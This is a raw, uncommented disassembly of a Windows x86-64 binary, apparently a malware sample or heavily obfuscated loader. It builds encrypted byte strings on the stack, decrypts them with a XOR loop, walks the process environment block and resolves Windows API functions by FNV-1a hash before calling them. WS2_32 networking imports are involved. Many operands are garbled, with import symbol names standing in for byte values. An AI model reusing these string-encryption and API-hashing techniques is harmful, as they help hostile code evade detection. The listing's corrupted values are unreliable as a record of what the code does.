mov byte [rbp + 0x3c7], 0x5f
mov byte [rbp + 0x3c8], 0x55
mov byte [rbp + 0x3c9], reloc.WS2_32.dll_listen
mov byte [rbp + 0x3ca], 0xe1
mov byte [rbp + 0x3cb], 0xee
mov byte [rbp + 0x3cc], 0xe2
mov byte [rbp + 0x3cd], 0xe4
mov byte [rbp + 0x3ce], 0xe7
mov byte [rbp + 0x3cf], 0xa5
mov byte [rbp + 0x3d0], 0xa2
mov byte [rbp + 0x3d1], 0xaa
mov byte [rbp + 0x3d2], 0xf2
mov byte [rbp + 0x3d3], 0xe8
mov byte [rbp + 0x3d4], 0xea
mov byte [rbp + 0x3d5], 0xe0
mov byte [rbp + 0x3d6], 0xe0
mov byte [rbp + 0x3d7], 0xef
mov byte [rbp + 0x3d8], 0xa5
mov byte [rbp + 0x3d9], 0xa2
mov byte [rbp + 0x3da], 0xb5
mov byte [rbp + 0x3db], 0xe2
mov byte [rbp + 0x3dc], 0xf7
mov byte [rbp + 0x3dd], 0xf5
mov byte [rbp + 0x3de], 0xfe
mov byte [rbp + 0x3df], 0xff
mov byte [rbp + 0x3e0], 0xf2
mov byte [rbp + 0x3e1], 0xba
mov byte [rbp + 0x3e2], 0xb5
mov byte [rbp + 0x3e3], 0xeb
mov byte [rbp + 0x3e4], 0xf5
mov byte [rbp + 0x3e5], 0xfa
mov byte [rbp + 0x3e6], 0xfb
mov byte [rbp + 0x3e7], 0xfd
mov byte [rbp + 0x3e8], 0xfd
mov byte [rbp + 0x3e9], 0xba
mov byte [rbp + 0x3ea], 0x80
mov byte [rbp + 0x3eb], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x3ec], 0xc0
mov byte [rbp + 0x3ed], Ordinal_143
mov byte [rbp + 0x3ee], __WSAFDIsSet
mov byte [rbp + 0x3ef], Ordinal_211
mov byte [rbp + 0x3f0], 0xda
mov byte [rbp + 0x3f1], Ordinal_200
movabs r14, 0xf3fe08895e84100e
mov byte [rbp + 0x3f2], 0x80
mov r10, r14
mov byte [rbp + 0x3f3], 0x9b
mov r9, rsi
mov byte [rbp + 0x3f4], 0x9a
mov byte [rbp + 0x3f5], 0x82
mov byte [rbp + 0x3f6], 0x9e
mov byte [rbp + 0x3f7], 0xa2
movzx eax, byte [rbp + 0x358]
lea rax, [rbp + 0x358]
sub r10, rax
nop dword [rax]
mov rcx, r9
lea rdx, [rbp + 0x358]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r14
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x358], al
inc r9
cmp r9, 0xa0
jb 0x14004aa50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004ab27
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004ab27
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004ab22
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14004ab00
cmp r8d, 0x491e0a9c
je 0x14004ab2c
test r9d, r9d
jne 0x14004aae0
mov rax, qword [rax]
jmp 0x14004aab0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x358]
add rdx, r10
call rdx
mov byte [rbp + 0x3f8], WSACleanup
mov byte [rbp + 0x3f9], WSASetLastError
mov byte [rbp + 0x3fa], 0x77
mov byte [rbp + 0x3fb], Ordinal_50
mov byte [rbp + 0x3fc], 0x77
mov byte [rbp + 0x3fd], 0x7f
mov byte [rbp + 0x3fe], 0x7e
mov byte [rbp + 0x3ff], Ordinal_50
mov byte [rbp + 0x400], 0x57
mov byte [rbp + 0x401], 0x54
mov byte [rbp + 0x402], 0x5c
mov byte [rbp + 0x403], 0x54
mov byte [rbp + 0x404], 0x48
mov byte [rbp + 0x405], 0x47
mov byte [rbp + 0x406], 0x50
mov byte [rbp + 0x407], 0x54
mov byte [rbp + 0x408], 0x44
mov byte [rbp + 0x409], 0x48
mov byte [rbp + 0x40a], 0x61
mov byte [rbp + 0x40b], WSACleanup
mov byte [rbp + 0x40c], 0x63
mov byte [rbp + 0x40d], 0x77
mov byte [rbp + 0x40e], 0x67
mov byte [rbp + 0x40f], Ordinal_79
mov byte [rbp + 0x410], Ordinal_79
mov byte [rbp + 0x411], 0x5d
mov byte [rbp + 0x412], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x413], 0x5a
mov byte [rbp + 0x414], Ordinal_79
mov byte [rbp + 0x415], 0x42
mov byte [rbp + 0x416], 0x5b
mov byte [rbp + 0x417], 0x7e
mov byte [rbp + 0x418], 0x77
mov byte [rbp + 0x419], 0x46
mov byte [rbp + 0x41a], 0x5e
mov byte [rbp + 0x41b], 0x54
mov byte [rbp + 0x41c], 0x59
mov byte [rbp + 0x41d], Ordinal_79
mov byte [rbp + 0x41e], Ordinal_79
mov byte [rbp + 0x41f], reloc.WS2_32.dll_select
mov byte [rbp + 0x420], Ordinal_32
mov byte [rbp + 0x421], Ordinal_32
mov byte [rbp + 0x422], 0x7e
mov byte [rbp + 0x423], WSASetLastError
mov byte [rbp + 0x424], 0x68
mov byte [rbp + 0x425], 0x77
mov byte [rbp + 0x426], Ordinal_79
mov byte [rbp + 0x427], 0x40
mov byte [rbp + 0x428], 0x42
mov byte [rbp + 0x429], 0x5a
mov byte [rbp + 0x42a], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x42b], gethostname
mov byte [rbp + 0x42c], reloc.WS2_32.dll_recv
mov byte [rbp + 0x42d], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x42e], Ordinal_60
mov byte [rbp + 0x42f], gethostname
mov byte [rbp + 0x430], Ordinal_41
mov byte [rbp + 0x431], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x432], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x433], WSAGetLastError
mov byte [rbp + 0x434], WSASetLastError
mov byte [rbp + 0x435], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x436], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x437], sil
mov byte [rbp + 0x438], gethostname
mov byte [rbp + 0x439], Ordinal_41
mov byte [rbp + 0x43a], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x43b], gethostname
mov byte [rbp + 0x43c], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x43d], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x43e], reloc.WS2_32.dll_send
mov byte [rbp + 0x43f], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x440], 0x7f
mov byte [rbp + 0x441], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x442], Ordinal_41
mov byte [rbp + 0x443], 0x79
mov byte [rbp + 0x444], 6
mov byte [rbp + 0x445], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x446], Ordinal_26
mov byte [rbp + 0x447], reloc.WS2_32.dll_listen
mov byte [rbp + 0x448], 3
mov byte [rbp + 0x449], 5
mov byte [rbp + 0x44a], 0x40
mov byte [rbp + 0x44b], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x44c], 2
mov byte [rbp + 0x44d], Ordinal_79
mov byte [rbp + 0x44e], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x44f], reloc.WS2_32.dll_select
mov byte [rbp + 0x450], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x451], 1
mov byte [rbp + 0x452], 4
mov byte [rbp + 0x453], 6
mov byte [rbp + 0x454], 9
mov byte [rbp + 0x455], 0x41
mov byte [rbp + 0x456], Ordinal_79
mov byte [rbp + 0x457], reloc.WS2_32.dll_recv
mov byte [rbp + 0x458], 1
mov byte [rbp + 0x459], 1
mov byte [rbp + 0x45a], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x45b], Ordinal_32
mov byte [rbp + 0x45c], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x45d], 0x5e
mov byte [rbp + 0x45e], 0x57
mov byte [rbp + 0x45f], 0x55
mov byte [rbp + 0x460], reloc.WS2_32.dll_listen
mov byte [rbp + 0x461], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x462], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x463], Ordinal_32
mov byte [rbp + 0x464], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x465], Ordinal_26
mov byte [rbp + 0x466], 0x5a
mov byte [rbp + 0x467], 0x5f
mov byte [rbp + 0x468], 0x55
mov byte [rbp + 0x469], reloc.WS2_32.dll_listen
mov byte [rbp + 0x46a], 0xe1
mov byte [rbp + 0x46b], 0xee
mov byte [rbp + 0x46c], 0xe2
mov byte [rbp + 0x46d], 0xe4
mov byte [rbp + 0x46e], 0xe7
mov byte [rbp + 0x46f], 0xa5
mov byte [rbp + 0x470], 0xa2
mov byte [rbp + 0x471], 0xaa
mov byte [rbp + 0x472], 0xf2
mov byte [rbp + 0x473], 0xe8
mov byte [rbp + 0x474], 0xea
mov byte [rbp + 0x475], 0xe0
mov byte [rbp + 0x476], 0xe0
mov byte [rbp + 0x477], 0xef
mov byte [rbp + 0x478], 0xa5
mov byte [rbp + 0x479], 0xa2
mov byte [rbp + 0x47a], 0xb5
mov byte [rbp + 0x47b], 0xe2
mov byte [rbp + 0x47c], 0xf7
mov byte [rbp + 0x47d], 0xf5
mov byte [rbp + 0x47e], 0xfe
mov byte [rbp + 0x47f], 0xff
mov byte [rbp + 0x480], 0xf2
mov byte [rbp + 0x481], 0xba
mov byte [rbp + 0x482], 0xb5
mov byte [rbp + 0x483], 0xeb
mov byte [rbp + 0x484], 0xf5
mov byte [rbp + 0x485], 0xfa
mov byte [rbp + 0x486], 0xfb
mov byte [rbp + 0x487], 0xfd
mov byte [rbp + 0x488], 0xfd
mov byte [rbp + 0x489], 0xba
mov byte [rbp + 0x48a], 0x80
mov byte [rbp + 0x48b], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x48c], 0xc0
mov byte [rbp + 0x48d], Ordinal_143
mov byte [rbp + 0x48e], __WSAFDIsSet
mov byte [rbp + 0x48f], Ordinal_211
mov byte [rbp + 0x490], 0xda
mov byte [rbp + 0x491], Ordinal_200
mov r10, r14
mov byte [rbp + 0x492], 0x80
mov r9, rsi
mov byte [rbp + 0x493], 0x9b
mov byte [rbp + 0x494], 0x9a
mov byte [rbp + 0x495], 0x82
mov byte [rbp + 0x496], 0x9e
mov byte [rbp + 0x497], 0xa2
movzx eax, byte [rbp + 0x3f8]
lea rax, [rbp + 0x3f8]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0x3f8]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r14
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x3f8], al
inc r9
cmp r9, 0xa0
jb 0x14004afd0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004b0a7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004b0a7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004b0a2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14004b080
cmp r8d, 0x491e0a9c
je 0x14004b0ac
test r9d, r9d
jne 0x14004b060
mov rax, qword [rax]
jmp 0x14004b030
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x3f8]
add rdx, r10
call rdx
mov byte [rbp + 0xc7b], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xc7c], Ordinal_41
mov byte [rbp + 0xc7d], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xc7e], 0x63
mov byte [rbp + 0xc7f], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xc80], Ordinal_41
mov byte [rbp + 0xc81], Ordinal_45
mov byte [rbp + 0xc82], 0x68
mov byte [rbp + 0xc83], 7
mov byte [rbp + 0xc84], 3
mov byte [rbp + 0xc85], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xc86], Ordinal_32
mov byte [rbp + ntohl87], 0xc
mov byte [rbp + 0xc88], sil
mov byte [rbp + 0xc89], 9
mov byte [rbp + 0xc8a], sil
mov byte [rbp + 0xc8b], 4
mov byte [rbp + 0xc8c], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xc8d], Ordinal_26
mov byte [rbp + 0xc8e], r12b
mov byte [rbp + 0xc8f], reloc.WS2_32.dll_send
mov byte [rbp + 0xc90], Ordinal_41
mov byte [rbp + 0xc91], Ordinal_45
mov byte [rbp + 0xc92], Ordinal_45
mov byte [rbp + 0xc93], Ordinal_60
mov byte [rbp + 0xc94], Ordinal_60
mov byte [rbp + 0xc95], Ordinal_32
mov byte [rbp + 0xc96], Ordinal_35
mov byte [rbp + 0xc97], r12b
mov byte [rbp + 0xc98], reloc.WS2_32.dll_listen
mov byte [rbp + 0xc99], reloc.WS2_32.dll_sendto
mov byte [rbp + 0xc9a], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xc9b], r12b
mov byte [rbp + 0xc9c], r12b
mov byte [rbp + 0xc9d], Ordinal_60
mov byte [rbp + 0xc9e], 6
mov byte [rbp + 0xc9f], reloc.WS2_32.dll_sendto
mov byte [rbp + 0xca0], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xca1], Ordinal_45
mov byte [rbp + 0xca2], 7
mov byte [rbp + 0xca3], 1
mov byte [rbp + 0xca4], Ordinal_32
mov byte [rbp + 0xca5], ntohl
mov byte [rbp + 0xca6], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xca7], Ordinal_32
mov byte [rbp + 0xca8], Ordinal_50
mov byte [rbp + 0xca9], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xcaa], Ordinal_60
mov byte [rbp + 0xcab], gethostname
mov byte [rbp + 0xcac], Ordinal_32
mov byte [rbp + 0xcad], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0xcae], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xcaf], Ordinal_26
mov byte [rbp + 0xcb0], reloc.WS2_32.dll_socket
mov byte [rbp + 0xcb1], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xcb2], Ordinal_60
mov byte [rbp + 0xcb3], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xcb4], Ordinal_50
mov byte [rbp + 0xcb5], 0xe8
mov byte [rbp + 0xcb6], 0xf3
mov byte [rbp + 0xcb7], 0xe4
mov byte [rbp + 0xcb8], 0xf4
mov byte [rbp + 0xcb9], 0xe1
mov byte [rbp + 0xcba], 0xf1
mov byte [rbp + 0xcbb], 0xe5
mov byte [rbp + 0xcbc], 0xa1
mov byte [rbp + 0xcbd], 0xa4
mov byte [rbp + 0xcbe], 0xa1
mov byte [rbp + 0xcbf], Ordinal_211
mov byte [rbp + 0xcc0], 0xf2
mov byte [rbp + 0xcc1], 0xe7
mov byte [rbp + 0xcc2], 0xee
mov byte [rbp + 0xcc3], 0xe6
mov byte [rbp + 0xcc4], 0xe4
mov byte [rbp + 0xcc5], 0xfc
mov byte [rbp + 0xcc6], 0xe2
mov byte [rbp + 0xcc7], 0xcc
mov byte [rbp + 0xcc8], 0xa3
mov byte [rbp + 0xcc9], 0xa0
mov byte [rbp + 0xcca], 0xa3
mov byte [rbp + 0xccb], 0xa1
mov byte [rbp + 0xccc], 0xb3
mov byte [rbp + 0xccd], 0xbb
mov byte [rbp + 0xcce], 0xe5
mov byte [rbp + 0xccf], 0xb0
mov byte [rbp + 0xcd0], Ordinal_217
mov byte [rbp + 0xcd1], 0xef
mov byte [rbp + 0xcd2], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xcd3], 0xed
mov byte [rbp + 0xcd4], 0xf7
mov byte [rbp + 0xcd5], Ordinal_211
mov byte [rbp + 0xcd6], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xcd7], 0xcc
mov byte [rbp + 0xcd8], Ordinal_200
mov byte [rbp + 0xcd9], 0xe7
mov byte [rbp + 0xcda], Ordinal_217
mov byte [rbp + 0xcdb], 0xc9
mov byte [rbp + 0xcdc], Ordinal_200
mov byte [rbp + 0xcdd], 0x84
mov byte [rbp + 0xcde], Ordinal_143
mov byte [rbp + 0xcdf], Ordinal_217
mov byte [rbp + 0xce0], 0x80
mov byte [rbp + 0xce1], 0xfa
mov byte [rbp + 0xce2], 0xed
mov byte [rbp + 0xce3], 0xe8
mov byte [rbp + 0xce4], 0xf7
mov byte [rbp + 0xce5], 0xea
mov byte [rbp + 0xce6], 0xeb
mov byte [rbp + 0xce7], 0x90
mov byte [rbp + 0xce8], 0x9c
mov byte [rbp + 0xce9], Ordinal_217
mov byte [rbp + 0xcea], __WSAFDIsSet
mov byte [rbp + 0xceb], 0xcb
mov byte [rbp + 0xcec], __WSAFDIsSet
mov byte [rbp + 0xced], Ordinal_200
mov byte [rbp + 0xcee], Ordinal_211
mov byte [rbp + 0xcef], 0xde
mov byte [rbp + 0xcf0], Ordinal_217
mov byte [rbp + 0xcf1], Ordinal_217
mov byte [rbp + 0xcf2], Ordinal_217
mov byte [rbp + 0xcf3], 0x9a
mov byte [rbp + 0xcf4], 0x9d
mov byte [rbp + 0xcf5], 0xbb
mov byte [rbp + 0xcf6], 0xa0
mov byte [rbp + 0xcf7], 0xae
mov byte [rbp + 0xcf8], 0xa7
mov byte [rbp + 0xcf9], 0xaf
mov byte [rbp + 0xcfa], 0xae
mov byte [rbp + 0xcfb], 0xe5
mov byte [rbp + 0xcfc], 0xee
mov byte [rbp + 0xcfd], 0xe1
mov byte [rbp + 0xcfe], 0xb1
mov byte [rbp + 0xcff], 0xa1
mov byte [rbp + 0xd00], 0xae
mov byte [rbp + 0xd01], 0xac
mov byte [rbp + 0xd02], 0xa7
mov byte [rbp + 0xd03], 0xa2
mov byte [rbp + 0xd04], 0xed
mov byte [rbp + 0xd05], 0xf4
mov byte [rbp + 0xd06], 0xf4
mov byte [rbp + 0xd07], 0xa2
mov byte [rbp + 0xd08], 0xb2
mov byte [rbp + 0xd09], 0xbe
mov byte [rbp + 0xd0a], 0xb7
mov byte [rbp + 0xd0b], 0xbf
mov byte [rbp + 0xd0c], 0xbe
mov byte [rbp + 0xd0d], 0xf1
mov byte [rbp + 0xd0e], 0xfe
mov byte [rbp + 0xd0f], 0xf5
mov byte [rbp + 0xd10], 0xa2
mov byte [rbp + 0xd11], 0xb9
mov byte [rbp + 0xd12], 0xb6
mov byte [rbp + 0xd13], 0xbb
mov byte [rbp + 0xd14], 0xb7
movabs r11, 0x6402097154baac46
mov byte [rbp + 0xd15], 0x84
mov r10, r11
mov byte [rbp + 0xd16], Ordinal_200
mov r9, rsi
mov byte [rbp + 0xd17], Ordinal_211
mov byte [rbp + 0xd18], Ordinal_200
mov byte [rbp + 0xd19], __WSAFDIsSet
mov byte [rbp + 0xd1a], 0x82
mov byte [rbp + 0xd1b], Ordinal_143
mov byte [rbp + 0xd1c], 0x87
mov byte [rbp + 0xd1d], Ordinal_143
mov byte [rbp + 0xd1e], Ordinal_143
mov byte [rbp + 0xd1f], Ordinal_200
mov byte [rbp + 0xd20], Ordinal_200
mov byte [rbp + 0xd21], 0x9a
mov byte [rbp + 0xd22], Ordinal_143
mov byte [rbp + 0xd23], 0x81
mov byte [rbp + 0xd24], Ordinal_143
mov byte [rbp + 0xd25], __WSAFDIsSet
mov byte [rbp + 0xd26], 0x9c
mov byte [rbp + 0xd27], Ordinal_217
mov byte [rbp + 0xd28], Ordinal_143
mov byte [rbp + 0xd29], Ordinal_211
mov byte [rbp + 0xd2a], 0xdc
mov byte [rbp + 0xd2b], __WSAFDIsSet
mov byte [rbp + 0xd2c], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xd2d], 0xca
mov byte [rbp + 0xd2e], 0x9d
mov byte [rbp + 0xd2f], 0x85
mov byte [rbp + 0xd30], 0x9c
mov byte [rbp + 0xd31], Ordinal_217
mov byte [rbp + 0xd32], 0xca
mov byte [rbp + 0xd33], 0xc1
mov byte [rbp + 0xd34], 0xde
mov byte [rbp + 0xd35], Ordinal_60
mov byte [rbp + 0xd36], 1
movzx eax, byte [rbp + 0xc7b]
lea rax, [rbp + 0xc7b]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0xc7b]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0xc7b], al
inc r9
cmp r9, 0xbc
jb 0x14004b620
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004b6f7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004b6f7
mov rax, qword [rax]
jmp 0x14004b680